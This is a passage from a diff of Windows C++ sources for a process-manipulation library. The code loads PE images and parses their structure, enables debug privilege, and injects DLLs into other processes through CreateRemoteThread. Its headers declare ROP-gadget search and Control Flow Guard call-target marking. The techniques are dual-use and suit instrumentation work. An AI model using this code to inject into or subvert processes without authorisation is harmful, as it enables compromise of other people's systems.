section newSect(§);
|
||||
this->sections.push_back(newSect);
|
||||
}
|
||||
|
||||
setPEFeatures(&pe);
|
||||
|
||||
// load section data
|
||||
for (unsigned int sectionIndex = 0; sectionIndex < pe.FileHeader.NumberOfSections; sectionIndex++)
|
||||
readFromFile(sections[sectionIndex].PointerToRawData, (void*)(sections[sectionIndex].VirtualAddress + pe.OptionalHeader.ImageBase), sections[sectionIndex].SizeOfRawData);
|
||||
|
||||
// And finish the load.
|
||||
IMAGE_NT_HEADERS* pePtr = (IMAGE_NT_HEADERS*)(((unsigned char*)this->targetModuleBase) + mz.e_lfanew);
|
||||
processModuleImports(pePtr);
|
||||
processModuleExports(pePtr);
|
||||
processModuleRelocs(&pe);
|
||||
processModuleTLSCallbacks(pePtr);
|
||||
}
|
||||
|
||||
moduleFromDisk::~moduleFromDisk()
|
||||
{
|
||||
CloseHandle(fhnd);
|
||||
}
|
||||
|
||||
void moduleFromDisk::readFromFile(int pos, void* outbuf, int size)
|
||||
{
|
||||
DWORD bytesRead;
|
||||
SetFilePointer(fhnd, pos, 0, FILE_BEGIN);
|
||||
if (!ReadFile(fhnd, outbuf, size, &bytesRead, NULL))
|
||||
throw std::runtime_error("ReadFile failed");
|
||||
|
||||
if (bytesRead != size)
|
||||
throw std::runtime_error("short read");
|
||||
}
|
||||
|
||||
// FIXME: do these classes violate const safety?
|
||||
std::runtime_error errorMaker::wruntime_error(std::wstring unicodeMsg)
|
||||
{
|
||||
std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
|
||||
std::string messageAnsi = converter.to_bytes(unicodeMsg);
|
||||
return std::runtime_error(messageAnsi);
|
||||
}
|
||||
std::runtime_error errorMaker::wruntime_error(std::wstringstream* unicodeMsgStream)
|
||||
{
|
||||
return wruntime_error(unicodeMsgStream->str());
|
||||
}
|
||||
|
||||
stackBuilder::stackBuilder(HANDLE newTargetProcess, unsigned long long newStackSize) : targetProcess(newTargetProcess), stackSizeBytes(newStackSize)
|
||||
{
|
||||
stackInTargetAddressSpace = (unsigned long long)VirtualAllocEx(targetProcess, NULL, stackSizeBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (stackInTargetAddressSpace == NULL)
|
||||
{
|
||||
std::wstringstream os(L"");
|
||||
os << "Failed to allocate " << std::hex << stackSizeBytes << " bytes for stack: GetLastError is " << std::dec << GetLastError();
|
||||
throw errorMaker::wruntime_error(&os);
|
||||
}
|
||||
|
||||
// We do all the stack building in our own processess address space, and then copy it
|
||||
// to the target in writeToProcess.
|
||||
stack = (unsigned long long*)calloc(stackSizeBytes, 1);
|
||||
stackSizeULLs = stackSizeBytes / sizeof(unsigned long long);
|
||||
stackPointerULLs = stackSizeULLs;
|
||||
|
||||
// We will put our data near the top of this stack, allowing some extra headroom.
|
||||
if (stackSizeULLs < 20)
|
||||
throw std::runtime_error("stackSize: too small stack space");
|
||||
stackPointerULLs -= 20;
|
||||
}
|
||||
|
||||
void stackBuilder::push(unsigned long long newVal)
|
||||
{
|
||||
if (stackPointerULLs == 0)
|
||||
throw std::runtime_error("stackSize: stack is too small to push anything more");
|
||||
|
||||
stackPointerULLs--;
|
||||
stack[stackPointerULLs] = newVal;
|
||||
}
|
||||
|
||||
unsigned long long stackBuilder::writeToProcess()
|
||||
{
|
||||
SIZE_T written = 0;
|
||||
if (!WriteProcessMemory(targetProcess, (void*)stackInTargetAddressSpace, stack, stackSizeBytes, &written) || written != stackSizeBytes)
|
||||
{
|
||||
std::wstringstream os(L"");
|
||||
os << "Failed to WriteProcessMemory; wrote " << written << " of " << stackSizeBytes << " bytes; GetLastError is " << GetLastError();
|
||||
throw errorMaker::wruntime_error(&os);
|
||||
}
|
||||
|
||||
return stackInTargetAddressSpace;
|
||||
}
|
||||
|
||||
unsigned long long stackBuilder::getPtrToTopOfStack()
|
||||
{
|
||||
return stackInTargetAddressSpace + (stackPointerULLs * sizeof(unsigned long long));
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <map>
|
||||
|
||||
class section
|
||||
{
|
||||
public:
|
||||
section();
|
||||
section(IMAGE_SECTION_HEADER* hdr);
|
||||
|
||||
std::wstring name;
|
||||
DWORD Characteristics;
|
||||
DWORD PhysicalAddress;
|
||||
DWORD VirtualAddress;
|
||||
DWORD VirtualSize;
|
||||
};
|
||||
|
||||
class relocation
|
||||
{
|
||||
public:
|
||||
unsigned long long targetSite;
|
||||
unsigned long long fixedUpValue;
|
||||
unsigned int size;
|
||||
|
||||
relocation(unsigned long long newTargetSite, unsigned long long newFixedUpValue, unsigned int newSize);
|
||||
};
|
||||
|
||||
class exportedFunc
|
||||
{
|
||||
public:
|
||||
exportedFunc(std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA);
|
||||
exportedFunc(std::wstring functionName, std::wstring forwardedModuleName, std::wstring forwardedFunctionName);
|
||||
|
||||
std::wstring functionName;
|
||||
unsigned long long functionPointerSite;
|
||||
unsigned long long functionPointerRVA;
|
||||
std::wstring forwardedFunctionName;
|
||||
std::wstring forwardedModuleName;
|
||||
BOOL isForwarded;
|
||||
};
|
||||
|
||||
class importedFunc : public exportedFunc
|
||||
{
|
||||
public:
|
||||
importedFunc(std::wstring moduleName, std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA);
|
||||
|
||||
std::wstring moduleName;
|
||||
};
|
||||
|
||||
class moduleInMemory
|
||||
{
|
||||
public:
|
||||
moduleInMemory(HANDLE targetProcessHandle, void* targetModuleBase);
|
||||
moduleInMemory(HANDLE targetProcessHandle, std::wstring targetModuleName);
|
||||
|
||||
void injectThread(unsigned long long startRVA, unsigned long long* args, unsigned int argCount, bool waitForReturn = true);
|
||||
section* getSectionForAddress(unsigned long long toFind);
|
||||
section* getSectionByName(std::wstring toFind);
|
||||
void readFromModule(unsigned long long srcAddress, void* outBuf, SIZE_T bytesToRead);
|
||||
std::wstring readStringFromModule(unsigned long long srcAddress);
|
||||
void writeToModule(void* srcData, unsigned long long destAddress, SIZE_T bytesToWrite);
|
||||
importedFunc* getImport(std::wstring moduleName, std::wstring functionName);
|
||||
exportedFunc* getExport(std::wstring functionName);
|
||||
BOOL hasExport(std::wstring functionName);
|
||||
void markCFGValid(unsigned long long ptrToMarkValid);
|
||||
unsigned long long resolveExport(std::wstring importName);
|
||||
unsigned long long locateROPGadget(unsigned char* bytesToFind, unsigned int bytesToFindLen);
|
||||
|
||||
unsigned long long entrypoint;
|
||||
std::vector<section> sections;
|
||||
std::vector<importedFunc> imports;
|
||||
std::vector<exportedFunc> exports;
|
||||
std::vector<unsigned long long> TLSCallbacks;
|
||||
std::vector<relocation> relocs;
|
||||
bool hasImports;
|
||||
bool hasExports;
|
||||
bool hasTLS;
|
||||
|
||||
void* targetModuleBase;
|
||||
unsigned long long sizeOfImage;
|
||||
unsigned long long preferredBaseAddress;
|
||||
private:
|
||||
void commonInit();
|
||||
|
||||
HANDLE targetProcess;
|
||||
|
||||
typedef BOOL(*SetProcessValidCallTargetsType)(HANDLE hProcess, PVOID VirtualAddress, SIZE_T RegionSize, ULONG NumberOfOffsets, PCFG_CALL_TARGET_INFO OffsetInformation);
|
||||
SetProcessValidCallTargetsType SetProcessValidCallTargets_;
|
||||
|
||||
moduleInMemory();
|
||||
|
||||
void processModule();
|
||||
|
||||
void setPEFeatures(IMAGE_NT_HEADERS *pe);
|
||||
void processModuleImports(IMAGE_NT_HEADERS *pe);
|
||||
void processModuleExports(IMAGE_NT_HEADERS *pe);
|
||||
void processModuleRelocs(IMAGE_NT_HEADERS *pe);
|
||||
void processModuleTLSCallbacks(IMAGE_NT_HEADERS *pe);
|
||||
|
||||
|
||||
class ROPGadgetInfo
|
||||
{
|
||||
public:
|
||||
ROPGadgetInfo(void* newModuleBase, unsigned char* newBytesToFind, unsigned int newBytesToFindLen) : moduleBase(newModuleBase), bytesToFind(newBytesToFind), bytesToFindLen(newBytesToFindLen)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
bool operator<(const ROPGadgetInfo& other) const
|
||||
{
|
||||
if (moduleBase != other.moduleBase)
|
||||
return moduleBase > other.moduleBase;
|
||||
if (bytesToFindLen != other.bytesToFindLen)
|
||||
return bytesToFindLen > other.bytesToFindLen;
|
||||
return memcmp(bytesToFind, other.bytesToFind, bytesToFindLen);
|
||||
}
|
||||
|
||||
void* moduleBase;
|
||||
unsigned char* bytesToFind;
|
||||
unsigned int bytesToFindLen;
|
||||
};
|
||||
|
||||
static std::map<ROPGadgetInfo, unsigned long long> gadgetCache;
|
||||
unsigned long long locateROPGadgetUncached(ROPGadgetInfo* toFind);
|
||||
unsigned long long addModuleBase(unsigned long long toAdd);
|
||||
|
||||
void writeToModuleWithoutPermissionCheck(void* srcData, unsigned long long dstBased, SIZE_T bytesToWrite);
|
||||
friend class moduleFromDisk;
|
||||
};
|
||||
|
||||
class moduleFromDisk : public moduleInMemory
|
||||
{
|
||||
public:
|
||||
moduleFromDisk(LPCWSTR filename);
|
||||
~moduleFromDisk();
|
||||
private:
|
||||
HANDLE fhnd;
|
||||
void readFromFile(int pos, void* outbuf, int size);
|
||||
};
|
||||
|
||||
|
||||
class errorMaker
|
||||
{
|
||||
public:
|
||||
static std::runtime_error wruntime_error(std::wstring unicodeMsg);
|
||||
static std::runtime_error wruntime_error(std::wstringstream* unicodeMsgStream);
|
||||
};
|
||||
|
||||
class stackBuilder
|
||||
{
|
||||
public:
|
||||
stackBuilder(HANDLE newTargetProcess, unsigned long long newStackSize);
|
||||
void push(unsigned long long newVal);
|
||||
unsigned long long writeToProcess();
|
||||
unsigned long long getPtrToTopOfStack();
|
||||
private:
|
||||
unsigned long long* stack;
|
||||
unsigned long long stackSizeBytes;
|
||||
unsigned long long stackSizeULLs;
|
||||
unsigned long long stackPointerULLs;
|
||||
HANDLE targetProcess;
|
||||
unsigned long long stackInTargetAddressSpace;
|
||||
};
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
#include "moduleManipulation.h"
|
||||
|
||||
BOOL EnableDebugPrivilege(BOOL bEnable);
|
||||
void* injectLoadLibrary(HANDLE toScanHandle, const wchar_t* toLoad);
|
||||
unsigned char* getModuleBase(HANDLE toScanHandle, const wchar_t* moduleNameSubstring);
|
||||
BOOL isModuleLoaded(HANDLE toScanHandle, const wchar_t* moduleNameSubstring);
|
||||
DWORD getPIDForProcessByName(TCHAR* toFind);
|
||||
@@ -0,0 +1 @@
|
||||
#include "stdafx.h"
|
||||
@@ -0,0 +1,6 @@
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||
#include <Windows.h>
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
#include <SDKDDKVer.h>
|
||||
@@ -0,0 +1,172 @@
|
||||
#include "stdafx.h"
|
||||
#include <stdio.h>
|
||||
|
||||
#include <stdexcept>
|
||||
#include <sstream>
|
||||
|
||||
#include <tlhelp32.h>
|
||||
#include <psapi.h>
|
||||
#include <shlwapi.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "moduleManipulation.h"
|
||||
|
||||
BOOL EnableDebugPrivilege(BOOL bEnable)
|
||||
{
|
||||
HANDLE hToken = nullptr;
|
||||
LUID luid;
|
||||
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
|
||||
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE;
|
||||
|
||||
TOKEN_PRIVILEGES tokenPriv;
|
||||
tokenPriv.PrivilegeCount = 1;
|
||||
tokenPriv.Privileges[0].Luid = luid;
|
||||
tokenPriv.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
unsigned char* getModuleBase(HANDLE toScanHandle, const wchar_t* moduleNameSubstring)
|
||||
{
|
||||
DWORD cbNeeded;
|
||||
int s = EnumProcessModules(toScanHandle, NULL, 0, &cbNeeded);
|
||||
if (s == 0)
|
||||
{
|
||||
printf("Couldn't call EnumProcessModules to get buffer size, gle %d\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HMODULE* moduleList = (HMODULE*)malloc(cbNeeded);
|
||||
memset(moduleList, 0, cbNeeded);
|
||||
s = EnumProcessModules(toScanHandle, moduleList, cbNeeded, &cbNeeded);
|
||||
if (s == 0)
|
||||
{
|
||||
// This'll happen sometimes if there's a module loaded between our calls.
|
||||
// TODO: we can retry in this case.
|
||||
printf("Couldn't call EnumProcessModules to get modules, gle %d.\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
for (HMODULE* thisModPtr = &moduleList[0]; thisModPtr < &moduleList[cbNeeded / sizeof(HMODULE)]; thisModPtr++)
|
||||
{
|
||||
HMODULE thisModule = *thisModPtr;
|
||||
wchar_t szModName[MAX_PATH];
|
||||
memset(szModName, 0, MAX_PATH);
|
||||
if (GetModuleFileNameEx(toScanHandle, thisModule, szModName, MAX_PATH - sizeof(wchar_t)) == 0)
|
||||
{
|
||||
printf("GetModuleFileNameEx failed, GLE %d\n", GetLastError());
|
||||
continue;
|
||||
}
|
||||
if (StrStrI(szModName, moduleNameSubstring) != NULL)
|
||||
{
|
||||
free(moduleList);
|
||||
return (unsigned char*)thisModule;
|
||||
}
|
||||
}
|
||||
free(moduleList);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
BOOL isModuleLoaded(HANDLE toScanHandle, const wchar_t* moduleNameSubstring)
|
||||
{
|
||||
return getModuleBase(toScanHandle, moduleNameSubstring) != NULL;
|
||||
}
|
||||
|
||||
void* injectLoadLibrary(HANDLE toScanHandle, const wchar_t* toLoad)
|
||||
{
|
||||
// Find kernelbase and then LoadLibraryA
|
||||
moduleInMemory kernelbase(toScanHandle, L"kernelbase.dll");
|
||||
unsigned long long loadLibraryWInTargetProcess = kernelbase.resolveExport(L"LoadLibraryW");
|
||||
|
||||
// Put the name of the module we're loading in the target's address space
|
||||
unsigned long long moduleName = (unsigned long long)VirtualAllocEx(toScanHandle, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (moduleName == NULL)
|
||||
{
|
||||
std::wstringstream os(L"");
|
||||
os << "Failed to allocate 0x1000 bytes for module name: GetLastError is " << std::dec << GetLastError();
|
||||
throw errorMaker::wruntime_error(&os);
|
||||
}
|
||||
SIZE_T written = 0;
|
||||
SIZE_T toWrite = lstrlenW(toLoad) * sizeof(wchar_t);
|
||||
if (!WriteProcessMemory(toScanHandle, (void*)moduleName, toLoad, toWrite, &written) || written != toWrite)
|
||||
{
|
||||
std::wstringstream os(L"");
|
||||
os << "Failed to copy module name to target process; GetLastError is " << GetLastError();
|
||||
throw errorMaker::wruntime_error(&os);
|
||||
}
|
||||
|
||||
// And create the thread that will do the load.
|
||||
DWORD tid;
|
||||
HANDLE s = CreateRemoteThread(toScanHandle, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryWInTargetProcess, (char*)moduleName, 0, &tid);
|
||||
if (!s)
|
||||
{
|
||||
std::wstringstream os(L"");
|
||||
os << "CreateRemoteThread failed, GLE %d" << GetLastError();
|
||||
throw errorMaker::wruntime_error(&os);
|
||||
}
|
||||
|
||||
// Allow 60 seconds for the module to load before we give up
|
||||
if (WaitForSingleObject(s, 60 * 1000))
|
||||
{
|
||||
std::wstringstream os(L"");
|
||||
os << "Timeout trying to load module '" << toLoad << "' into remote process";
|
||||
throw errorMaker::wruntime_error(&os);
|
||||
}
|
||||
unsigned char* toRet = getModuleBase(toScanHandle, toLoad);
|
||||
if (toRet == NULL)
|
||||
{
|
||||
std::wstringstream os(L"");
|
||||
os << "Failed to load module " << toLoad << " into remote process";
|
||||
throw errorMaker::wruntime_error(&os);
|
||||
}
|
||||
return toRet;
|
||||
}
|
||||
|
||||
DWORD getPIDForProcessByName(TCHAR* toFind)
|
||||
{
|
||||
// Grab the named process as specified at the commandline.
|
||||
// This is mostly lifted from https://docs.microsoft.com/en-us/windows/desktop/psapi/enumerating-all-processes
|
||||
DWORD aProcesses[1024], cbNeeded, cProcesses;
|
||||
unsigned int i;
|
||||
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
|
||||
{
|
||||
std::wstringstream os(L"");
|
||||
os << "Failed EnumProcesses, GetLastError " << GetLastError();
|
||||
throw errorMaker::wruntime_error(&os);
|
||||
}
|
||||
cProcesses = cbNeeded / sizeof(DWORD);
|
||||
|
||||
for (i = 0; i < cProcesses; i++)
|
||||
{
|
||||
if (aProcesses[i] != 0)
|
||||
{
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, aProcesses[i]);
|
||||
|
||||
if (NULL == hProcess)
|
||||
continue;
|
||||
HMODULE hMod;
|
||||
DWORD cbNeeded;
|
||||
|
||||
TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
|
||||
if (!EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded))
|
||||
continue;
|
||||
|
||||
GetModuleBaseName(hProcess, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR));
|
||||
|
||||
if (_wcsicmp(toFind, szProcessName) == 0)
|
||||
{
|
||||
CloseHandle(hProcess);
|
||||
return aProcesses[i];
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
std::wstringstream os(L"");
|
||||
os << "Cannot find module '" << toFind << "'";
|
||||
throw errorMaker::wruntime_error(&os);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user